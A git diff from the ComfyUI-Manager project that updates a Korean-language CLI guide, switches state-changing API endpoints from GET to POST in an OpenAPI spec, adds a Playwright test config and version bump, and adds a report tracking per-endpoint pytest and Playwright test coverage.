* 예를 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
|
||||
|
||||
### 2. 관리 정보 보기
|
||||
@@ -51,7 +50,7 @@ OPTIONS:
|
||||
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
|
||||
|
||||
|
||||
`python cm-cli.py show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
`python cm-cli.py simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -96,7 +95,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
|
||||
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
|
||||
|
||||
@@ -113,11 +112,26 @@ ComfyUI-Loopchain
|
||||
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
|
||||
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
|
||||
|
||||
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
|
||||
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
|
||||
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
|
||||
* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. 스냅샷 관리 기능
|
||||
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
|
||||
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
|
||||
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
@@ -126,25 +140,35 @@ ComfyUI-Loopchain
|
||||
* `--user-directory`: 사용자 디렉토리 설정
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
|
||||
|
||||
### 5. CLI only mode
|
||||
### 5. 의존성 설치
|
||||
|
||||
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
|
||||
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
|
||||
|
||||
|
||||
### 6. 의존성 설치
|
||||
|
||||
`restore-dependencies`
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
|
||||
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
|
||||
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
|
||||
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
|
||||
|
||||
### 6. 의존성 파일로 설치
|
||||
|
||||
### 7. clear
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
|
||||
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. clear
|
||||
|
||||
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
|
||||
+116
-64
@@ -78,6 +78,19 @@ components:
|
||||
type: [string, 'null']
|
||||
format: date-time
|
||||
description: ISO timestamp when task execution ended
|
||||
params:
|
||||
description: Original task parameters (mirrors QueueTaskItem.params); null if unavailable
|
||||
oneOf:
|
||||
- $ref: '#/components/schemas/InstallPackParams'
|
||||
- $ref: '#/components/schemas/UpdatePackParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/FixPackParams'
|
||||
- $ref: '#/components/schemas/UninstallPackParams'
|
||||
- $ref: '#/components/schemas/DisablePackParams'
|
||||
- $ref: '#/components/schemas/EnablePackParams'
|
||||
- $ref: '#/components/schemas/ModelMetadata'
|
||||
- type: 'null'
|
||||
required: [ui_id, client_id, kind, timestamp, result]
|
||||
TaskExecutionStatus:
|
||||
type: object
|
||||
@@ -412,12 +425,12 @@ components:
|
||||
default: true
|
||||
description: Whether to update to stable version (true) or nightly (false)
|
||||
required: [client_id, ui_id]
|
||||
ComfyUISwitchVersionQueryParams:
|
||||
ComfyUISwitchVersionParams:
|
||||
type: object
|
||||
properties:
|
||||
ver:
|
||||
type: string
|
||||
description: Version to switch to
|
||||
description: Target ComfyUI version tag
|
||||
client_id:
|
||||
type: string
|
||||
description: Client identifier that initiated the request
|
||||
@@ -1042,9 +1055,9 @@ paths:
|
||||
'400':
|
||||
description: Error retrieving history list
|
||||
/v2/manager/queue/start:
|
||||
get:
|
||||
post:
|
||||
summary: Start queue processing
|
||||
description: Starts processing the operation queue
|
||||
description: Starts processing the operation queue.
|
||||
responses:
|
||||
'200':
|
||||
description: Processing started
|
||||
@@ -1077,16 +1090,16 @@ paths:
|
||||
description: Internal Server Error.
|
||||
|
||||
/v2/manager/queue/reset:
|
||||
get:
|
||||
post:
|
||||
summary: Reset queue
|
||||
description: Resets the operation queue
|
||||
description: Resets the operation queue.
|
||||
responses:
|
||||
'200':
|
||||
description: Queue reset successfully
|
||||
/v2/manager/queue/update_all:
|
||||
get:
|
||||
post:
|
||||
summary: Update all custom nodes
|
||||
description: Queues update operations for all installed custom nodes
|
||||
description: Queues update operations for all installed custom nodes. Parameters are read from the query string.
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1103,9 +1116,9 @@ paths:
|
||||
'403':
|
||||
description: Security policy violation
|
||||
/v2/manager/queue/update_comfyui:
|
||||
get:
|
||||
post:
|
||||
summary: Update ComfyUI
|
||||
description: Queues an update operation for ComfyUI itself
|
||||
description: Queues an update operation for ComfyUI itself. Parameters are read from the query string.
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/clientIdRequiredParam'
|
||||
- $ref: '#/components/parameters/uiIdRequiredParam'
|
||||
@@ -1217,9 +1230,9 @@ paths:
|
||||
items:
|
||||
$ref: '#/components/schemas/SnapshotItem'
|
||||
/v2/snapshot/remove:
|
||||
get:
|
||||
post:
|
||||
summary: Remove snapshot
|
||||
description: Removes a specified snapshot
|
||||
description: Removes a specified snapshot. The `target` parameter is read from the query string.
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1232,9 +1245,9 @@ paths:
|
||||
'403':
|
||||
description: Security policy violation
|
||||
/v2/snapshot/restore:
|
||||
get:
|
||||
post:
|
||||
summary: Restore snapshot
|
||||
description: Restores a specified snapshot
|
||||
description: Restores a specified snapshot. The `target` parameter is read from the query string.
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1260,9 +1273,9 @@ paths:
|
||||
'400':
|
||||
description: Error creating snapshot
|
||||
/v2/snapshot/save:
|
||||
get:
|
||||
post:
|
||||
summary: Save snapshot
|
||||
description: Saves the current system state as a new snapshot
|
||||
description: Saves the current system state as a new snapshot.
|
||||
responses:
|
||||
'200':
|
||||
description: Snapshot saved successfully
|
||||
@@ -1290,76 +1303,96 @@ paths:
|
||||
'400':
|
||||
description: Error retrieving versions
|
||||
/v2/comfyui_manager/comfyui_switch_version:
|
||||
get:
|
||||
post:
|
||||
summary: Switch ComfyUI version
|
||||
description: Switches to a specified ComfyUI version
|
||||
parameters:
|
||||
- name: ver
|
||||
in: query
|
||||
required: true
|
||||
description: Target version
|
||||
schema:
|
||||
type: string
|
||||
- $ref: '#/components/parameters/clientIdRequiredParam'
|
||||
- $ref: '#/components/parameters/uiIdRequiredParam'
|
||||
description: Switches to a specified ComfyUI version. Gated at `high+` security level; returns 403 under the default `normal` profile. Parameters are read from a JSON request body (migrated from query string in v4.2 — see CHANGELOG Migration notes).
|
||||
security:
|
||||
- securityLevel: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ComfyUISwitchVersionParams'
|
||||
responses:
|
||||
'200':
|
||||
description: Version switch queued successfully
|
||||
'400':
|
||||
description: Missing required parameters or error switching version
|
||||
description: Invalid JSON body, missing required fields, or error switching version
|
||||
'403':
|
||||
description: Security level below `high+` — request rejected
|
||||
# Configuration Endpoints (v2)
|
||||
/v2/manager/db_mode:
|
||||
get:
|
||||
summary: Get or set database mode
|
||||
description: Gets or sets the database mode
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New database mode
|
||||
schema:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
summary: Get database mode
|
||||
description: Returns the current database mode.
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated or current value returned
|
||||
description: Current value returned
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
post:
|
||||
summary: Set database mode
|
||||
description: Sets the database mode. Payload is a JSON object with a `value` field.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
description: New database mode
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated
|
||||
'400':
|
||||
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
|
||||
/v2/manager/policy/update:
|
||||
get:
|
||||
summary: Get or set update policy
|
||||
description: Gets or sets the update policy
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New update policy
|
||||
schema:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
summary: Get update policy
|
||||
description: Returns the current update policy.
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated or current value returned
|
||||
description: Current value returned
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
/v2/manager/channel_url_list:
|
||||
get:
|
||||
summary: Get or set channel URL
|
||||
description: Gets or sets the channel URL for custom node sources
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New channel name
|
||||
schema:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
post:
|
||||
summary: Set update policy
|
||||
description: Sets the update policy. Payload is a JSON object with a `value` field.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
description: New update policy
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated or channel list returned
|
||||
description: Setting updated
|
||||
'400':
|
||||
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
|
||||
/v2/manager/channel_url_list:
|
||||
get:
|
||||
summary: Get channel URL list
|
||||
description: Returns the selected channel and the full channel list for custom node sources.
|
||||
responses:
|
||||
'200':
|
||||
description: Selected channel and channel list returned
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
@@ -1376,10 +1409,29 @@ paths:
|
||||
type: string
|
||||
url:
|
||||
type: string
|
||||
post:
|
||||
summary: Set channel URL
|
||||
description: Sets the channel URL for custom node sources by channel name. Payload is a JSON object with a `value` field containing the channel name.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
description: Channel name (must be present in the channel list returned by GET)
|
||||
responses:
|
||||
'200':
|
||||
description: Channel updated
|
||||
'400':
|
||||
description: Invalid request — malformed JSON, missing `value`, or unknown channel name
|
||||
/v2/manager/reboot:
|
||||
get:
|
||||
post:
|
||||
summary: Reboot ComfyUI
|
||||
description: Restarts the ComfyUI server
|
||||
description: Restarts the ComfyUI server.
|
||||
security:
|
||||
- securityLevel: []
|
||||
responses:
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
import { defineConfig } from '@playwright/test';
|
||||
|
||||
export default defineConfig({
|
||||
testDir: './tests/playwright',
|
||||
testMatch: '**/*.{spec,test}.ts',
|
||||
timeout: 60_000,
|
||||
retries: 0,
|
||||
use: {
|
||||
baseURL: `http://127.0.0.1:${process.env.PORT || 8199}`,
|
||||
headless: true,
|
||||
screenshot: 'only-on-failure',
|
||||
trace: 'retain-on-failure',
|
||||
},
|
||||
projects: [
|
||||
{
|
||||
name: 'chromium',
|
||||
use: { browserName: 'chromium' },
|
||||
},
|
||||
],
|
||||
});
|
||||
+7
-5
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
|
||||
[project]
|
||||
name = "comfyui-manager"
|
||||
license = { text = "GPL-3.0-only" }
|
||||
version = "4.0.5"
|
||||
version = "4.3"
|
||||
requires-python = ">= 3.9"
|
||||
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
|
||||
readme = "README.md"
|
||||
@@ -35,21 +35,23 @@ dependencies = [
|
||||
"typing-extensions",
|
||||
"toml",
|
||||
"uv",
|
||||
"chardet"
|
||||
"chardet",
|
||||
"packaging",
|
||||
"nh3>=0.3.7"
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = ["pre-commit", "pytest", "ruff", "pytest-cov"]
|
||||
dev = ["pre-commit", "pytest", "ruff", "pytest-cov", "pygit2>=1.18"]
|
||||
|
||||
[project.urls]
|
||||
Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["."]
|
||||
include = ["comfyui_manager*"]
|
||||
include = ["comfyui_manager*", "cm_cli*"]
|
||||
|
||||
[project.scripts]
|
||||
cm-cli = "comfyui_manager.cm_cli.__main__:main"
|
||||
cm-cli = "cm_cli:main"
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 120
|
||||
|
||||
@@ -0,0 +1,355 @@
|
||||
# API Coverage Matrix — pytest E2E + Playwright
|
||||
|
||||
**Date**: 2026-04-20
|
||||
**Worklist**: `wl-afbf982ffe41`
|
||||
**Checklist**: `cl-20260420-wl-afbf982ff`
|
||||
**Scope**: 39 unique (method, path) endpoints across glob and legacy managers.
|
||||
**Sources**: 4 member checklist YAMLs (gteam-teng 10 · gteam-reviewer 10 · gteam-dev 10 · gteam-dbg 9).
|
||||
|
||||
---
|
||||
|
||||
## 1. Coverage Summary
|
||||
|
||||
| Axis | Y | I | N | P | NA | Total |
|
||||
|---|---:|---:|---:|---:|---:|---:|
|
||||
| **pytest E2E** | 38 | 1 | 0 | — | — | 39 |
|
||||
| **Playwright** | 17 | — | 1 | 14 | 7 | 39 |
|
||||
|
||||
### Code legend
|
||||
|
||||
| Code | pytest meaning | Playwright meaning |
|
||||
|------|----------------|--------------------|
|
||||
| **Y** | Direct positive-path test exists | UI trigger exists AND a spec exercises it |
|
||||
| **I** | Indirect only (e.g. CSRF-reject test, no positive assertion) | — |
|
||||
| **N** | No coverage | Endpoint has no UI surface AND no spec covers it (1 case, wi-009 internal-only) |
|
||||
| **P** | — | UI trigger exists but NO spec exercises it (PENDING Playwright) |
|
||||
| **NA** | — | Endpoint has no UI surface at all (backend/CLI/gating only) |
|
||||
|
||||
### Effective pytest ceiling
|
||||
|
||||
Y (direct) + I (indirect) = **39 / 39 = 100%** — post-WI-UU every endpoint
|
||||
has automated pytest coverage. The 6 legacy-only GET endpoints
|
||||
(wi-031/032/033/034/035/036) that were `N` at matrix creation have been
|
||||
closed as `Y (WI-TT)` via direct positive-path tests in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
|
||||
`e2e_verification_audit.md`). wi-039 (POST /v2/manager/queue/batch) was
|
||||
closed as `Y (WI-UU)` via `TestLegacyQueueBatch` in the same file — empty
|
||||
`{}` payload exercises request-parse → action loop → finalize →
|
||||
worker-lock release → JSON serialize. Only 1 I-rated row remains: wi-027
|
||||
POST /v2/snapshot/restore, which stays I by intentional design (the
|
||||
endpoint is destructive and is covered only behind a skip-by-default
|
||||
marker; upgrading it to Y would require a reversible snapshot fixture).
|
||||
|
||||
Count progression: matrix-creation baseline Y=29/I=4/N=6 → post-WI-YY
|
||||
Y=31/I=2/N=6 → post-WI-TT Y=37/I=2/N=0 → **post-WI-UU Y=38/I=1/N=0**.
|
||||
|
||||
### Playwright P = systemic gap
|
||||
|
||||
10 / 39 = **26%** of endpoints have a UI trigger that Playwright never
|
||||
exercises. Originally 18/39 = 46%; WI-VV closed 4 LOW-risk P items
|
||||
(wi-001 / wi-005 / wi-017 / wi-021) via real UI-click tests; WI-WW closed
|
||||
5 MED items via mock-based UI→API wiring tests; WI-WW.2 closed wi-015 via
|
||||
a 2-hop mock. **WI-YY** then replaced 2 of the WI-WW mocks (wi-020, wi-024)
|
||||
with real pytest E2E execution — the mocks were removed and the Playwright
|
||||
column reverted to P (UI-click path unexercised — pytest covers the
|
||||
backend contract). The remaining 10 P items are: wi-014/037/038
|
||||
(retained as WI-WW mocks — real execution requires `high+` security gate
|
||||
that fails at default `security_level=normal`, needs a permissive
|
||||
harness — scope for WI-YY.2), plus 7 other source-checklist-classified
|
||||
P items outside the WI-VV/WW/WW.2/YY scope.
|
||||
|
||||
**Honesty note on mock-based closures**: rows marked `Y (WI-WW-mock)`
|
||||
assert UI→API wiring only — request URL + method + payload shape.
|
||||
They do NOT assert backend handler behavior, which pytest covers via
|
||||
positive-path tests. A regression that kept the UI firing correctly
|
||||
but broke the backend would not be caught by the mock tests alone.
|
||||
|
||||
---
|
||||
|
||||
## 2. Tier Distribution
|
||||
|
||||
39 endpoints split across three registration tiers:
|
||||
|
||||
| Tier | Count | Definition |
|
||||
|------|------:|------------|
|
||||
| Shared | 29 | Registered in BOTH `glob/manager_server.py` AND `legacy/manager_server.py` |
|
||||
| glob-only | 1 | Registered only in `glob/manager_server.py` |
|
||||
| legacy-only | 9 | Registered only in `legacy/manager_server.py` |
|
||||
|
||||
> **Note on dispatch**: the WI-SS-E dispatch text cited `Shared 28, glob-only 2,
|
||||
> legacy-only 9` but source-code verification (grep of `@routes.(get\|post)` in
|
||||
> both managers) yields 29/1/9. Only `POST /v2/manager/queue/task` is confirmed
|
||||
> glob-only by the audit (`reports/e2e_verification_audit.md:299`). This
|
||||
> matrix reports the verified counts.
|
||||
|
||||
### Tier × coverage crosstab
|
||||
|
||||
| Tier | pytest Y | pytest I | pytest N | PW Y | PW P | PW NA | PW N |
|
||||
|------|---------:|---------:|---------:|-----:|-----:|------:|-----:|
|
||||
| Shared (29) | 28 | 1 | 0 | 15 | 7 | 6 | 1 |
|
||||
| glob-only (1) | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
|
||||
| legacy-only (9) | 9 | 0 | 0 | 2 | 7 | 0 | 0 |
|
||||
| **Total** | **38** | **1** | **0** | **17** | **14** | **7** | **1** |
|
||||
|
||||
**Observations** (post-WI-UU):
|
||||
- Legacy-only (9) pytest coverage is now **fully direct**: 9 Y + 0 I +
|
||||
0 N. WI-TT closed 6 N → Y (wi-031/032/033/034/035/036). WI-YY-real
|
||||
closed 2 I → Y (wi-037/038 via the permissive harness). WI-UU closed
|
||||
the final I → Y (wi-039 via `TestLegacyQueueBatch`). The remaining
|
||||
weakness for this tier is Playwright — 7/9 are Playwright-P.
|
||||
- Shared (29) holds the sole remaining pytest-I (wi-027 snapshot/restore,
|
||||
intentional skip-by-default design). 0 pytest-N, balanced Y/P on
|
||||
Playwright.
|
||||
- glob-only has only 1 endpoint (queue/task) and it is Playwright-NA by
|
||||
design — the legacy UI uses `queue/batch` (wi-039) instead.
|
||||
|
||||
---
|
||||
|
||||
## 3. Full Matrix (39 rows, sorted by wi-id)
|
||||
|
||||
| wi | METHOD path | tier | pytest | Playwright | gap |
|
||||
|---|---|---|---|---|---|
|
||||
| wi-001 | GET /v2/comfyui_manager/comfyui_versions | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts asserts Switch ComfyUI click → GET returns non-empty versions list |
|
||||
| wi-002 | GET /v2/customnode/fetch_updates | shared | Y | NA | 🟢 none (deprecated 410, no JS trigger) |
|
||||
| wi-003 | GET /v2/customnode/getmappings | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-004 | GET /v2/customnode/installed | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-005 | GET /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts polls channel combo for populated options via stable selector `select[title^="Configure the channel"]` |
|
||||
| wi-006 | GET /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-007 | GET /v2/manager/is_legacy_manager_ui | shared | Y | NA | 🟢 none (server-side gating flag) |
|
||||
| wi-008 | GET /v2/manager/policy/update | shared | Y | P | 🟢 LOW — add Playwright assertion (pytest fully covers contract) |
|
||||
| wi-009 | GET /v2/manager/queue/history | shared | Y | N | 🟢 none (no UI surface, internal API only) |
|
||||
| wi-010 | GET /v2/manager/queue/history_list | shared | Y | NA | 🟢 none (backend-only, not surfaced in UI) |
|
||||
| wi-011 | GET /v2/manager/queue/status | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-012 | GET /v2/manager/version | shared | Y | P | 🟢 LOW — add version-string assertion to bootstrap spec |
|
||||
| wi-013 | GET /v2/snapshot/get_current | shared | Y | P | 🟢 none — 3rd-party share extensions only, out-of-scope for legacy-ui |
|
||||
| wi-014 | POST /v2/comfyui_manager/comfyui_switch_version | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestSwitchComfyuiSelfSwitch executes real POST via permissive-harness (security_level=normal-) with a no-op self-switch (ver=<current>). Playwright mock REMOVED. |
|
||||
| wi-015 | POST /v2/customnode/import_fail_info | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestImportFailInfoReal pre-seeds `ComfyUI-YoloWorld-EfficientSAM` via git clone (no pip install), scan captures ImportError in cm_global.error_dict, warmup via `/v2/customnode/import_fail_info_bulk` populates active_nodes, then POST single-endpoint with cnr_id=directory-basename returns the captured `{name, path, msg}` payload. Playwright mock REMOVED (spec file deleted). |
|
||||
| wi-016 | POST /v2/customnode/import_fail_info_bulk | shared | Y | NA | 🟢 none (server-internal/CLI-only) |
|
||||
| wi-017 | POST /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts selects alternate option, intercepts POST → 200, restores original in finally |
|
||||
| wi-018 | POST /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage via UI close-reopen round-trip) |
|
||||
| wi-019 | POST /v2/manager/policy/update | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-020 | POST /v2/manager/queue/install_model | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallModelRealDownload downloads the real TAEF1 Decoder (~4.7MB from github.com/madebyollin/taesd raw), polls for disk artifact, asserts size > 1MB, teardown deletes file. Playwright mock REMOVED in WI-YY; UI-click path still unexercised (P) — scope for WI-YY.2 if needed. |
|
||||
| wi-021 | POST /v2/manager/queue/reset | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts exercises endpoint via `page.request.post` (UI-click path unsafe at idle: restart_stop_button at idle triggers rebootAPI, not queue/reset; `.cn-manager-stop` / `.model-manager-stop` are display:none). Asserts 200 + queue/status still callable post-reset. |
|
||||
| wi-022 | POST /v2/manager/queue/start | shared | Y | NA | 🟢 none (server/test-only) |
|
||||
| wi-023 | POST /v2/manager/queue/update_all | shared | Y | NA | 🟢 LOW — UI uses queue/batch not this endpoint (possibly CLI-only; confirm intent) |
|
||||
| wi-024 | POST /v2/manager/queue/update_comfyui | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestUpdateComfyuiQueued asserts direct endpoint returns 200 at default security_level (no gate — legacy/manager_server.py:1572-1576). Handler just queues an "update-comfyui" entry; triggering git pull would require a subsequent /queue/batch call (explicitly avoided to preserve test-env git state). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 safety belt exported at server startup covers pip install runaway risk. Playwright mock REMOVED in WI-YY. |
|
||||
| wi-025 | POST /v2/manager/reboot | shared | Y | P | 🟢 none — visibility checked; click omitted for safety (would kill test server) |
|
||||
| wi-026 | POST /v2/snapshot/remove | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-027 | POST /v2/snapshot/restore | shared | I | P | 🟡 add pytest coverage behind skip-by-default (reversible via saved snapshot); Playwright restore also missing |
|
||||
| wi-028 | POST /v2/snapshot/save | shared | Y | Y | 🟢 none (strong dual coverage) |
|
||||
| wi-029 | GET /v2/snapshot/getlist | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-030 | POST /v2/manager/queue/task | glob-only | Y | NA | 🟢 LOW — glob-UI Playwright harness needed to cover queue/task from UI tier |
|
||||
| wi-031 | GET /customnode/alternatives | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22 of e2e_verification_audit) asserts positive-path GET with `mode=local` |
|
||||
| wi-032 | GET /v2/customnode/disabled_versions/{node_name} | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts disabled-version list schema |
|
||||
| wi-033 | GET /v2/customnode/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema (`channel`/`node_packs`) + mode param variants |
|
||||
